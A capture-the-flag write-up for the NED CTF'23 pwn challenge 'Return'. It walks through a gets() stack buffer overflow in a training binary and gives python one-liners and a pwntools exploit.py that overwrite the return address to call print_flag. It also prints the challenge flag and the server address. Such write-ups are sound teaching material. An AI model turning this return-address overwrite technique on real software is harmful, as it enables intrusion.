- Published on
NED CTF'23 - Pwn - Return
- Authors

- Name
- Ali Taqi Wajid
- @alitaqiwajid
Challenge Description
Navigate the maze of memory and claim your prize.
Author: Saad Akhtar
nc 159.223.192.150 9002

Solution
Downloading the return.zip, we get the following files

The file security checks on the binary are as follows

Let's run the return binary to check what it does

Okay, let's disassemble and check the functions inside ghidra

The disassembled main function is as follows
undefined8 main(void) {
char local_108 [256];
banner();
printf("\n\n\nMay I ask what your name is? ");
gets(local_108);
printf("Good luck %s!\n",local_108);
return 0;
}
Well, again gets, and this time the buffer is 256. The other function that is of interest is print_flag
void print_flag(void) {
int iVar1;
FILE *__stream;
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
puts("Error: could not open file.");
}
else {
puts("Contents of flag.txt:");
while( true ) {
iVar1 = fgetc(__stream);
if ((char)iVar1 == -1) break;
putchar((int)(char)iVar1);
}
fclose(__stream);
}
return;
}
Now, this function simply opens the flag.txt file and prints it's contents.
Exploitation
So, we have a buffer overflow vulnerability, and we have a function that prints the flag. We can simply overwrite the return address of the main function with the address of print_flag function. Let's check the address of print_flag function. For that, we'll use my script

In x64, we also need to provide a ret gadget to ensure that the program doesn't crash. Let's check the ret gadget address as well. We will use ropper for that
ropper -f return --search "ret"

Now, since we have both values, we can craft a simple payload, which will be as follows
[padding] + [ret gadget] + [print_flag address]
The padding will be 256 bytes to fully-fill the buffer, the ret gadget will be next to accumlate the buffer till RIP overwrite so that the function returns successfully and the print_flag address will be stored on the RIP. Let's craft the payload. But first, we'll p64 the value of ret gadget:
$ python3 -c 'import pwn; print(pwn.p64(0x000000000040101a))'
b'\x1a\x10@\x00\x00\x00\x00\x00'
So, the payload now becomes:
python -c 'print "A" * 256 + "\x1a\x10@\x00\x00\x00\x00\x00" + "\xf6\x11@\x00\x00\x00\x00\x00"' | ./return

We can see that we got the flag, let's pipe the output to nc to get the flag remotely
python -c 'print "A" * 256 + "\x1a\x10@\x00\x00\x00\x00\x00" + "\xf6\x11@\x00\x00\x00\x00\x00"' | nc 159.223.192.150 9002

We got the flag!
Flag: NCC{r3t_2_w1ns_4r3_fuN}
Now, let's a write a simple exploit.py for this
#!/usr/bin/env python3
from pwn import *
import sys
import re
_bin = "./return"
elf = context.binary = ELF(_bin)
rop = ROP(elf)
if len(sys.argv) == 2 and sys.argv[1].lower() == "remote":
io = remote('159.223.192.150', 9002)
else:
io = process(_bin)
io.recv()
payload = flat(
[
b"A" * 256,
rop.ret.address,
elf.sym.print_flag,
b"\n"
]
)
io.sendline(payload)
buf = io.recv().decode('latin-1')
print(buf)
